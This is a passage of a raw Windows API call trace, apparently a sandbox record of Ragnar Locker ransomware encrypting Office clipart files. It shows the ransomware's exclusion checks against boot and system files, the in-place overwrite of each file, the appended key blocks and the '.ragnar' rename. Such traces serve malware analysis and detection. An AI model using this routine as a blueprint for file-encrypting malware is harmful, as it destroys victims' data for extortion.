(lpString1="PE01661_.WMF", lpString2="desktop.ini") returned 1 [0089.630] lstrcmpiW (lpString1="PE01661_.WMF", lpString2="iconcache.db") returned 1 [0089.630] lstrcmpiW (lpString1="PE01661_.WMF", lpString2="ntldr") returned 1 [0089.630] lstrcmpiW (lpString1="PE01661_.WMF", lpString2="ntuser.dat") returned 1 [0089.630] lstrcmpiW (lpString1="PE01661_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.630] lstrcmpiW (lpString1="PE01661_.WMF", lpString2="ntuser.ini") returned 1 [0089.630] lstrcmpiW (lpString1="PE01661_.WMF", lpString2="thumbs.db") returned -1 [0089.630] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.630] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.630] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.630] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.630] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.630] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.630] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf")) returned 0x20 [0089.630] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.631] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5144) returned 1 [0089.631] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x140f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.631] GetProcessHeap () returned 0x580000 [0089.631] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.631] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.632] VirtualAlloc (lpAddress=0x0, dwSize=0x1418, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.633] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.633] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.633] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1418, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1418, lpOverlapped=0x0) returned 1 [0089.633] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.634] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1418, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.634] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1418, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1418, lpOverlapped=0x0) returned 1 [0089.634] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1418, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.634] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.634] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1418, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.634] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.634] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.634] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.634] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.634] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.634] GetProcessHeap () returned 0x580000 [0089.634] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.634] CloseHandle (hObject=0xf4) returned 1 [0089.634] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF" [0089.635] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF.ragnar_FD7BD9FC" [0089.635] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.635] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE01797_.WMF", cAlternateFileName="")) returned 1 [0089.635] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.635] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE01797_.WMF" | out: lpString1="PE01797_.WMF") returned="PE01797_.WMF" [0089.635] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF") returned=".WMF" [0089.635] lstrcmpiW (lpString1="PE01797_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.635] lstrcmpiW (lpString1="PE01797_.WMF", lpString2="autorun.inf") returned 1 [0089.635] lstrcmpiW (lpString1="PE01797_.WMF", lpString2="boot.ini") returned 1 [0089.635] lstrcmpiW (lpString1="PE01797_.WMF", lpString2="bootfont.bin") returned 1 [0089.635] lstrcmpiW (lpString1="PE01797_.WMF", lpString2="bootsect.bak") returned 1 [0089.636] lstrcmpiW (lpString1="PE01797_.WMF", lpString2="bootmgr") returned 1 [0089.636] lstrcmpiW (lpString1="PE01797_.WMF", lpString2="bootmgr.efi") returned 1 [0089.636] lstrcmpiW (lpString1="PE01797_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.636] lstrcmpiW (lpString1="PE01797_.WMF", lpString2="desktop.ini") returned 1 [0089.636] lstrcmpiW (lpString1="PE01797_.WMF", lpString2="iconcache.db") returned 1 [0089.636] lstrcmpiW (lpString1="PE01797_.WMF", lpString2="ntldr") returned 1 [0089.636] lstrcmpiW (lpString1="PE01797_.WMF", lpString2="ntuser.dat") returned 1 [0089.636] lstrcmpiW (lpString1="PE01797_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.636] lstrcmpiW (lpString1="PE01797_.WMF", lpString2="ntuser.ini") returned 1 [0089.636] lstrcmpiW (lpString1="PE01797_.WMF", lpString2="thumbs.db") returned -1 [0089.636] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.636] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.636] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.636] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.636] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.636] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.636] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf")) returned 0x20 [0089.636] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.637] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3546) returned 1 [0089.637] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xdd1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.637] GetProcessHeap () returned 0x580000 [0089.637] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.637] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.638] VirtualAlloc (lpAddress=0x0, dwSize=0xdda, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.639] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.639] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.639] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xdda, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xdda, lpOverlapped=0x0) returned 1 [0089.639] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.639] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xdda, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.639] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xdda, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xdda, lpOverlapped=0x0) returned 1 [0089.639] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xdda, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.639] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.639] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xdda, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.639] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.639] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.639] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.640] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.640] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.640] GetProcessHeap () returned 0x580000 [0089.640] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.640] CloseHandle (hObject=0xf4) returned 1 [0089.640] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF" [0089.640] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF.ragnar_FD7BD9FC" [0089.640] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.640] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x23d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02120_.WMF", cAlternateFileName="")) returned 1 [0089.640] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.641] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE02120_.WMF" | out: lpString1="PE02120_.WMF") returned="PE02120_.WMF" [0089.641] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF") returned=".WMF" [0089.641] lstrcmpiW (lpString1="PE02120_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.641] lstrcmpiW (lpString1="PE02120_.WMF", lpString2="autorun.inf") returned 1 [0089.641] lstrcmpiW (lpString1="PE02120_.WMF", lpString2="boot.ini") returned 1 [0089.641] lstrcmpiW (lpString1="PE02120_.WMF", lpString2="bootfont.bin") returned 1 [0089.641] lstrcmpiW (lpString1="PE02120_.WMF", lpString2="bootsect.bak") returned 1 [0089.641] lstrcmpiW (lpString1="PE02120_.WMF", lpString2="bootmgr") returned 1 [0089.641] lstrcmpiW (lpString1="PE02120_.WMF", lpString2="bootmgr.efi") returned 1 [0089.641] lstrcmpiW (lpString1="PE02120_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.641] lstrcmpiW (lpString1="PE02120_.WMF", lpString2="desktop.ini") returned 1 [0089.641] lstrcmpiW (lpString1="PE02120_.WMF", lpString2="iconcache.db") returned 1 [0089.641] lstrcmpiW (lpString1="PE02120_.WMF", lpString2="ntldr") returned 1 [0089.641] lstrcmpiW (lpString1="PE02120_.WMF", lpString2="ntuser.dat") returned 1 [0089.641] lstrcmpiW (lpString1="PE02120_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.641] lstrcmpiW (lpString1="PE02120_.WMF", lpString2="ntuser.ini") returned 1 [0089.641] lstrcmpiW (lpString1="PE02120_.WMF", lpString2="thumbs.db") returned -1 [0089.641] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.641] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.641] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.641] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.641] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.641] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.641] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.641] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf")) returned 0x20 [0089.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.642] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9172) returned 1 [0089.642] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x23cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.642] GetProcessHeap () returned 0x580000 [0089.642] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.642] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.643] VirtualAlloc (lpAddress=0x0, dwSize=0x23d4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.643] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.644] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.644] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x23d4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x23d4, lpOverlapped=0x0) returned 1 [0089.644] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.645] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x23d4, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.645] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x23d4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x23d4, lpOverlapped=0x0) returned 1 [0089.645] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x23d4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.645] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.645] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x23d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.645] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.645] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.645] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.645] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.645] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.645] GetProcessHeap () returned 0x580000 [0089.645] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.645] CloseHandle (hObject=0xf4) returned 1 [0089.646] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF" [0089.646] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF.ragnar_FD7BD9FC" [0089.646] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.646] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02169_.WMF", cAlternateFileName="")) returned 1 [0089.646] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.646] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE02169_.WMF" | out: lpString1="PE02169_.WMF") returned="PE02169_.WMF" [0089.646] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF") returned=".WMF" [0089.646] lstrcmpiW (lpString1="PE02169_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.646] lstrcmpiW (lpString1="PE02169_.WMF", lpString2="autorun.inf") returned 1 [0089.646] lstrcmpiW (lpString1="PE02169_.WMF", lpString2="boot.ini") returned 1 [0089.646] lstrcmpiW (lpString1="PE02169_.WMF", lpString2="bootfont.bin") returned 1 [0089.646] lstrcmpiW (lpString1="PE02169_.WMF", lpString2="bootsect.bak") returned 1 [0089.647] lstrcmpiW (lpString1="PE02169_.WMF", lpString2="bootmgr") returned 1 [0089.647] lstrcmpiW (lpString1="PE02169_.WMF", lpString2="bootmgr.efi") returned 1 [0089.647] lstrcmpiW (lpString1="PE02169_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.647] lstrcmpiW (lpString1="PE02169_.WMF", lpString2="desktop.ini") returned 1 [0089.647] lstrcmpiW (lpString1="PE02169_.WMF", lpString2="iconcache.db") returned 1 [0089.647] lstrcmpiW (lpString1="PE02169_.WMF", lpString2="ntldr") returned 1 [0089.647] lstrcmpiW (lpString1="PE02169_.WMF", lpString2="ntuser.dat") returned 1 [0089.647] lstrcmpiW (lpString1="PE02169_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.647] lstrcmpiW (lpString1="PE02169_.WMF", lpString2="ntuser.ini") returned 1 [0089.647] lstrcmpiW (lpString1="PE02169_.WMF", lpString2="thumbs.db") returned -1 [0089.647] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.647] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.647] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.647] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.647] lstrcmpiW 